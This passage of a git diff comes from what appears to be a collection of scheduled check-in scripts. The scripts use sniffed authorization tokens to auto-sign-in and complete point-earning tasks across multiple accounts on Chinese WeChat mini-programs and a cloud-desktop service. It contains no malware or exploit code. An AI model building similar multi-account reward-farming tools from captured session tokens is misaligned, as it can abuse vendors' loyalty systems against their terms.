重新登录...") + lt, sid, state = obtain_session(openid, index, force=True) + if state != "ok": + print(f"⚠️ 账号 {index} {state}") + lines.append(f"⚠️ {state}") + return "\n".join(lines), False + activity_id, act, session_bad = find_signin_activity_id(lt, sid) + if not activity_id: + msg = ("未能定位「每日签到」活动 (活动列表中无签到活动, 可能活动未上线, " + "或需在小程序内进入签到页抓取 ActivityId)") + print(f"⚠️ 账号 {index} {msg}") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + print(f"账号 {index} 定位到签到活动 ActivityId={activity_id}") + + # 幂等信号 (best-effort): 参与次数 + cnt = attendance_count(lt, sid, activity_id) + if isinstance(cnt, dict) and cnt.get("Count") is not None: + print(f"账号 {index} 当前参与次数: {cnt.get('Count')}") + + # 执行一次签到 + ok, msg = attend_activity(lt, sid, activity_id) + if ok: + print(f"🎉 账号 {index} {msg}") + lines.append(f"🎉 {msg}") + return "\n".join(lines), True + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + +def main(): + raw = os.getenv("wuying", "") + entries = [x.strip() for x in raw.replace("&", "\n").splitlines() if x.strip()] + + if not entries: + print("❌ 未检测到账号信息(环境变量 wuying), 退出。") + return + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + + print("=============== 无影云电脑 签到开始 ===============") + summaries = [] + ok_count = 0 + for i, entry in enumerate(entries, 1): + parts = entry.split("#", 1) + openid = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" + print(f"\n-------------- 账号 {i}{('/' + remark) if remark else ''} --------------") + try: + summary, ok = run_account(openid, i) + summaries.append(summary) + ok_count += 1 if ok else 0 + except Exception as e: + print(f"❌ 账号 {i} 执行异常: {e}") + summaries.append(f"【账号 {i}】\n❌ 执行异常: {e}") + time.sleep(1) + + print("\n=============== 无影云电脑 签到结束 ===============") + title = f"无影云电脑签到 {ok_count}/{len(entries)} 成功" + try: + send(title, "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") + + +if __name__ == "__main__": + main() diff --git a/wxapp/wx_gjjkpro.js b/wxapp/wx_gjjkpro.js deleted file mode 100644 index 5ec688bb..00000000 --- a/wxapp/wx_gjjkpro.js +++ /dev/null @@ -1,260 +0,0 @@ -/** - * 高济健康pro小程序签到 - * cron 7 5 * * * wx_gjjkpro.js - * 活动入口 首页 智慧小屋 - * ========= 青龙--配置文件 =========== - * # 项目名称 - * export wx_gjjkpro_data='userId&authorization' - * - * 多账号用 换行 或 @ 分割 - * 抓包 https://api.gaojihealth.cn/fund/api/ , 找到userId&authorization即可 - * ==================================== - * - */ - - - -const $ = new Env("高济健康pro小程序签到"); -const ckName = "wx_gjjkpro_data"; -//-------------------- 一般不动变量区域 ------------------------------------- -const Notify = 1; //0为关闭通知,1为打开通知,默认为1 -const notify = $.isNode() ? require('../sendNotify') : ''; -let debug = 1; //Debug调试 0关闭 1开启 -let envSplitor = ["@"]; //多账号分隔符 -let ck = msg = ''; //let ck,msg -let host, hostname; -let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ''; -let userList = []; -let userIdx = 0; -let userCount = 0; -//---------------------- 自定义变量区域 ----------------------------------- -//--------------------------------------------------------- - -async function start() { - - console.log('\n================== 用户CK ==================\n'); - taskall = []; - for (let user of userList) { - taskall.push(await user.user_info()); - await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 - } - await Promise.all(taskall); - console.log('\n================== 签到 ==================\n'); - taskall = []; - for (let user of userList) { - if (user.ckStatus) { - taskall.push(await user.task_signin()); - await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 - } - - } - await Promise.all(taskall); - console.log('\n================== 任务 ==================\n'); - taskall = []; - let tasktmp; - for (let user of userList) { - if (user.ckStatus) { - for(let tasknum in user.taskList){ - tasktmp = user.taskList[tasknum] - taskall.push(await user.task_do(tasktmp)); - await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 - } - - } - - } - await Promise.all(taskall); - - - -} - - -class UserInfo { - constructor(str) { - this.index = ++userIdx; - this.userId = str.split('&')[0]; //单账号多变量分隔符 - this.ck = str.split('&')[1]; - this.ck = this.ck.replace('bearer', 'bearer ') - //let ck = str.split('&') - //this.data1 = ck[0] - this.ckStatus = true - this.headersPost = { - 'Host': 'api.gaojihealth.cn', - 'Content-Type': 'application/json;charset=UTF-8', - 'authorization': this.ck, - } - this.headersGet = { - 'Host': 'api.gaojihealth.cn', - 'authorization': this.ck, - } - this.taskList = [{ "browsePageId": "100004", "browsePageUrl": "/modules/integral/integral-mall/index", "taskId": 729 }, { "browsePageId": "100015", "browsePageUrl": "/modules/storeEmployeeQRcode/index?pageType=1", "taskId": 730 }] - - } - - async user_info() {//userinfo - try { - let options = { - url: `https://api.gaojihealth.cn/fund/api/noauth/appCoupon/findDkSignActivityPage?businessId=212798&userId=${this.userId}&version=1.4`, - headers: this.headersGet, - } - //console.log(options); - let result = await httpRequest(options); - //console.log(result); - if (result.runFlag == true) { - DoubleLog(`账号[${this.index}] ck验证成功: G金[${result.integralResponse.currentFund}] `); - this.ckStatus = true - } else { - DoubleLog(`账号[${this.index}] ck验证失效,原因未知!`); - this.ckStatus = false - console.log(result); - } - } catch (e) { - console.log(e); - } - } - async task_signin() {//userinfo - try { - let options = { - url: `https://api.gaojihealth.cn/gulosity/api/dkUserEvent/everyDaySign`, - headers: this.headersPost, - body: JSON.stringify({ "businessId": 212798, "userId": this.userId, "taskId": 372 }) - } - this.headersPost['Content-Length'] = options.body.length - - //console.log(options); - let result = await httpRequest(options); - //console.log(result); - if (result.opCode == 200) { - DoubleLog(`账号[${this.index}] 签到成功: [${result.prizeInfo}] `); - } else { - DoubleLog(`账号[${this.index}] 签到失效,原因未知!`); - console.log(result); - } - } catch (e) { - console.log(e); - } - } - async task_do(tasktmp) {//DO - - try { - let options = { - url: `https://api.gaojihealth.cn/gulosity/api/dkUserEvent/browsePageCompleteTaskEvent`, - headers: this.headersPost, - body: JSON.stringify(tasktmp) - } - this.headersPost['Content-Length'] = options.body.length - - //console.log(options); - - let result = await httpRequest(options) - if (result == 'true') { - DoubleLog(`账号[${this.index}] 执行任务成功: [${tasktmp.taskId}] `); - } else { - DoubleLog(`账号[${this.index}] 执行任务失效,原因未知!`); - console.log(result); - } - //console.log(result); - - } catch (e) { - console.log(e); - } - } - - - - -} - -!(async () => { - if (!(await checkEnv())) return; - if (userList.length > 0) { - await start(); - } - await SendMsg(msg); -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - - -//******************************************************** -// 变量检查与处理 -async function checkEnv() { - if (userCookie) { - // console.log(userCookie); - let e = envSplitor[0]; - for (let o of envSplitor) - if (userCookie.indexOf(o) > -1) { - e = o; - break; - } - for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); - userCount = userList.length; - } else { - console.log("未找到CK"); - return; - } - return console.log(`共找到${userCount}个账号`), true;//true == !0 -} -///////////////////////////////////////////////////////////////////////////////////// - -function httpRequest(options, method) { - typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method - return new Promise((resolve) => { - $[method](options, (err, resp, data) => { - try { - if (err) { - console.log(`${method}请求失败`); - $.logErr(err); - //throw new Error(err); - //console.log(err); - } else { - //httpResult = data; - //httpResponse = resp; - if (data) { - //console.log(data); - typeof JSON.parse(data) == 'object' ? data = JSON.parse(data) : data = data - resolve(data) - } else { - console.log(`请求api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - //console.log(e, resp); - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function ts13() { - return Math.round(new Date().getTime()).toString(); -} -// 双平台log输出 -function DoubleLog(data) { - if ($.isNode()) { - if (data) { - console.log(`${data}`); - msg += `\n${data}` - } - } else { - console.log(`${data}`); - msg += `\n${data}` - } -} -// 发送消息 -async function SendMsg(message) { - if (!message) return; - if (Notify > 0) { - if ($.isNode()) { - await notify.sendNotify($.name, message) - } else { - $.msg($.name, '', message) - } - } else { - console.log(message) - } -} -// 完整 Env -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/wxapp/wx_lccd.js b/wxapp/wx_lccd.js deleted file mode 100644 index b95c52ed..00000000 --- a/wxapp/wx_lccd.js +++ /dev/null @@ -1,519 +0,0 @@ -/** - * cron 5 15 * * * - * Show:微信小程序-莱充充电 - * 变量名: - * 变量值:https://shop.laichon.com/api/v1/ headers下的authorization 去掉JWT 只要后面的 # openid 多账户换行或者& - * 示例 ejxxxxxx#o0sa51.... - * scriptVersionNow = "0.0.1"; - */ - -const $ = new Env("微信小程序-莱充充电"); -const notify = $.isNode() ? require('../sendNotify') : ''; -let ckName = "wx_lccd"; -let envSplitor = ["&", "\n"]; //多账号分隔符 -let strSplitor = "#"; //多变量分隔符 -let userIdx = 0; -let userList = []; -class UserInfo { - constructor(str) { - this.index = ++userIdx; - this.ck = str.split(strSplitor)[0]; - this.ck1 = str.split(strSplitor)[1]; - this.ckStatus = true; - this.signStatus = "" - this.headers = { - "Host": "shop.laichon.com", - "Connection": "keep-alive", - "Content-Length": "9", - "authorization": "JWT " + this.ck, - "charset": "utf-8", - "openid": this.ck1, - "service-code": "WYC-MI-WEIXIN", - "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160027 MMWEBSDK/20231002 MMWEBID/2585 MicroMessenger/8.0.43.2480(0x28002B51) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", - "content-type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip,compress,br,deflate", - "Referer": "https://servicewechat.com/wxa68db1dabe823e7e/316/page-frame.html" - } - } - async main() { - await this.user_info() - if(this.ckStatus){ - await this.task_sign(); - if (this.signStatus == 0) { - await this.task_sign(); - } else if (this.signStatus == 1) { - $.log(`签到翻倍`) - await this.task_double(); - } - $.log(`完成充电和看视频任务`) - await this.task_complete(3) - await this.task_complete(4) - } - - } - async task_sign() { - try { - let options = { - fn: "签到", - method: "get", - url: `https://shop.laichon.com/api/v1/task/getSignTask`, - headers: this.headers, - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - //console.log(result); - if (result.code == 1) { - if (result.data.isSign == 0) { - //未签到 - $.log(`未签到`) - this.signStatus = 0 - } else { - $.log(`已签到`) - this.signStatus = 1 - } - } else { - this.signStatus = 2 - } - } catch (e) { - console.log(e); - } - } - async user_info() { - try { - let options = { - fn: "信息", - method: "get", - url: `https://shop.laichon.com/api/v1/member/userinfo`, - headers: this.headers, - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - //console.log(result); - if(result.code_key == "success"){ - this.ckStatus = true - $.log(`当前[${result.data.mobile} 积分[${result.data.point}]]`) - }else { - this.ckStatus = false - console.log(result); - } - } catch (e) { - console.log(e); - } - } - async task_double() { - try { - let options = { - fn: "签到翻倍", - method: "get", - url: `https://shop.laichon.com/api/v1/task/pointsDouble`, - headers: this.headers, - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - //console.log(result); - if(result.code_key == "success"){ - $.log(`完成 +1`) - } - } catch (e) { - console.log(e); - } - } - async task_complete(id) { - try { - let options = { - fn: "完成任务", - method: "post", - url: `https://shop.laichon.com/api/v1/task/taskComplete`, - headers: this.headers, - body: `task_id=${id}` - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - //console.log(result); - if(result.code_key == "success"){ - $.log(`完成 +1`) - } - } catch (e) { - console.log(e); - } - } -} - - - -!(async () => { - if (!(await checkEnv())) return; - if (userList.length > 0) { - let taskall = []; - for (let user of userList) { - if (user.ckStatus) { - taskall.push(await user.main()); - } - } - await Promise.all(taskall); - } - await $.sendMsg($.logs.join("\n")) -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -//******************************************************** -/** - * 变量检查与处理 - * @returns - */ -async function checkEnv() { - let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; - if (userCookie) { - let e = envSplitor[0]; - for (let o of envSplitor) - if (userCookie.indexOf(o) > -1) { - e = o; - break; - } - for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); - } else { - console.log(`未找到变量[${ckName}]`); - return; - } - return console.log(`共找到${userList.length}个账号`), true; //true == !0 -} -function Env(t, s) { - return new (class { - constructor(t, s) { - this.name = t; - this.data = null; - this.dataFile = "box.dat"; - this.logs = []; - this.logSeparator = "\n"; - this.startTime = new Date().getTime(); - Object.assign(this, s); - this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`); - } - isNode() { - return "undefined" != typeof module && !!module.exports; - } - isQuanX() { - return "undefined" != typeof $task; - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon; - } - isLoon() { - return "undefined" != typeof $loon; - } - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"); - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - s = this.path.resolve(process.cwd(), this.dataFile), - e = this.fs.existsSync(t), - i = !e && this.fs.existsSync(s); - if (!e && !i) return {}; - { - const i = e ? t : s; - try { - return JSON.parse(this.fs.readFileSync(i)); - } catch (t) { - return {}; - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"); - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - s = this.path.resolve(process.cwd(), this.dataFile), - e = this.fs.existsSync(t), - i = !e && this.fs.existsSync(s), - o = JSON.stringify(this.data); - e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); - } - } - lodash_get(t, s, e) { - const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); - let o = t; - for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; - return o; - } - lodash_set(t, s, e) { - return Object(t) !== t - ? t - : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), - (s - .slice(0, -1) - .reduce( - (t, e, i) => - Object(t[e]) === t[e] - ? t[e] - : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), - t - )[s[s.length - 1]] = e), - t); - } - getdata(t) { - let s = this.getval(t); - if (/^@/.test(t)) { - const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), - o = e ? this.getval(e) : ""; - if (o) - try { - const t = JSON.parse(o); - s = t ? this.lodash_get(t, i, "") : s; - } catch (t) { - s = ""; - } - } - return s; - } - setdata(t, s) { - let e = !1; - if (/^@/.test(s)) { - const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), - h = this.getval(i), - a = i ? ("null" === h ? null : h || "{}") : "{}"; - try { - const s = JSON.parse(a); - this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)); - } catch (s) { - const h = {}; - this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)); - } - } else e = this.setval(t, s); - return e; - } - getval(t) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.read(t); - } else if (this.isQuanX()) { - return $prefs.valueForKey(t); - } else if (this.isNode()) { - this.data = this.loaddata(); - return this.data[t]; - } else { - return this.data && this.data[t] || null; - } - } - setval(t, s) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.write(t, s); - } else if (this.isQuanX()) { - return $prefs.setValueForKey(t, s); - } else if (this.isNode()) { - this.data = this.loaddata(); - this.data[s] = t; - this.writedata(); - return true; - } else { - return this.data && this.data[s] || null; - } - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"); - this.cktough = this.cktough ? this.cktough : require("tough-cookie"); - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); - if (t) { - t.headers = t.headers ? t.headers : {}; - if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") { - t.cookieJar = this.ckjar; - } - } - } - /** - * @param {Object} options - * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku - */ - queryStr(options) { - return Object.entries(options) - .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`) - .join('&'); - } - isJSONString(str) { - try { - var obj = JSON.parse(str); - if (typeof obj == 'object' && obj) { - return true; - } else { - return false; - } - } catch (e) { - return false; - } - } - isJson(obj) { - var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; - return isjson; - } - async sendMsg(message) { - if (!message) return; - if ($.isNode()) { - await notify.sendNotify($.name, message) - } else { - $.msg($.name, '', message) - } - } - async httpRequest(options) { - let t = { - ...options - }; - if (!t.headers) { - t.headers = {} - } - if (t.params) { - t.url += '?' + this.queryStr(t.params); - } - t.method = t.method.toLowerCase(); - if (t.method === 'get') { - delete t.headers['Content-Type']; - delete t.headers['Content-Length']; - delete t.headers['content-Type']; - delete t.headers['content-Length']; - delete t["body"] - } - if (t.method === 'post') { - let contentType; - - if (!t.body) { - t.body = "" - } else { - if (typeof t.body == "string") { - if (this.isJSONString(t.body)) { - contentType = 'application/json' - } else { - contentType = 'application/x-www-form-urlencoded' - } - } else if (this.isJson(t.body)) { - t.body = JSON.stringify(t.body); - contentType = 'application/json'; - } - } - if (!t.headers['Content-Type']) { - t.headers['Content-Type'] = contentType; - } - delete t.headers['Content-Length']; - } - if (this.isNode()) { - this.initGotEnv(t); - let httpResult = await this.got(t); - if (this.isJSONString(httpResult.body)) { - httpResult.body = JSON.parse(httpResult.body) - } - return httpResult; - } - if (this.isQuanX()) { - t.method = t.method.toUpperCase() - return new Promise((resolve, reject) => { - $task.fetch(t).then(response => { - if (this.isJSONString(response.body)) { - response.body = JSON.parse(response.body) - } - resolve(response) - }) - }) - } - } - randomNumber(length) { - const characters = '0123456789'; - return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); - } - randomString(length) { - const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; - return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); - } - timeStamp() { - return new Date().getTime() - } - uuid() { - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, - v = c == 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }); - } - time(t) { - let s = { - "M+": new Date().getMonth() + 1, - "d+": new Date().getDate(), - "H+": new Date().getHours(), - "m+": new Date().getMinutes(), - "s+": new Date().getSeconds(), - "q+": Math.floor((new Date().getMonth() + 3) / 3), - S: new Date().getMilliseconds(), - }; - /(y+)/.test(t) && - (t = t.replace( - RegExp.$1, - (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) - )); - for (let e in s) - new RegExp("(" + e + ")").test(t) && - (t = t.replace( - RegExp.$1, - 1 == RegExp.$1.length - ? s[e] - : ("00" + s[e]).substr(("" + s[e]).length) - )); - return t; - } - msg(s = t, e = "", i = "", o) { - const h = (t) => - !t || (!this.isLoon() && this.isSurge()) - ? t - : "string" == typeof t - ? this.isLoon() - ? t - : this.isQuanX() - ? { "open-url": t } - : void 0 - : "object" == typeof t && (t["open-url"] || t["media-url"]) - ? this.isLoon() - ? t["open-url"] - : this.isQuanX() - ? t - : void 0 - : void 0; - this.isMute || - (this.isSurge() || this.isLoon() - ? $notification.post(s, e, i, h(o)) - : this.isQuanX() && $notify(s, e, i, h(o))); - let logs = ['', '==============📣系统通知📣==============']; - logs.push(t); - e ? logs.push(e) : ''; - i ? logs.push(i) : ''; - console.log(logs.join('\n')); - this.logs = this.logs.concat(logs); - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)); - } - logErr(t, s) { - const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - e - ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) - : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); - } - wait(t) { - return new Promise((s) => setTimeout(s, t)); - } - done(t = {}) { - const s = new Date().getTime(), - e = (s - this.startTime) / 1e3; - this.log( - "", - `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2` - ) - this.log() - if (this.isNode()) { - process.exit(1) - } - if (this.isQuanX()) { - $done(t) - } - } - })(t, s); -} diff --git a/wxapp/wx_xlxyh.js b/wxapp/wx_xlxyh.js index 17e69521..aa3c3236 100644 --- a/wxapp/wx_xlxyh.js +++ b/wxapp/wx_xlxyh.js @@ -1,560 +1,673 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.08.16 +@Description: 骁龙骁友会 小程序 签到 + 每日任务(抽奖/点赞/阅读5分钟/VLOG1分钟) +cron: 20 9 * * * +------------------------------------------ +#Notice: +变量名:wx_xlxyh +变量值:wx_server 里的 openid/账号标识,多账户用 & 或换行;支持 openid#备注 + 也兼容旧格式 sessionKey#userId(手填会话,过期就得重填,不推荐) +需要配置:wx_server_url、wx_auth + +可选变量: + wx_xlxyh_read_task 是否做两个「停留时长」任务,默认 1(开启)。 + 阅读文章要真等 5 分钟、VLOG 要真等 1 分钟——服务端是用 + enterReadDaily / exitReadDaily 两次调用的时间差算时长的, + 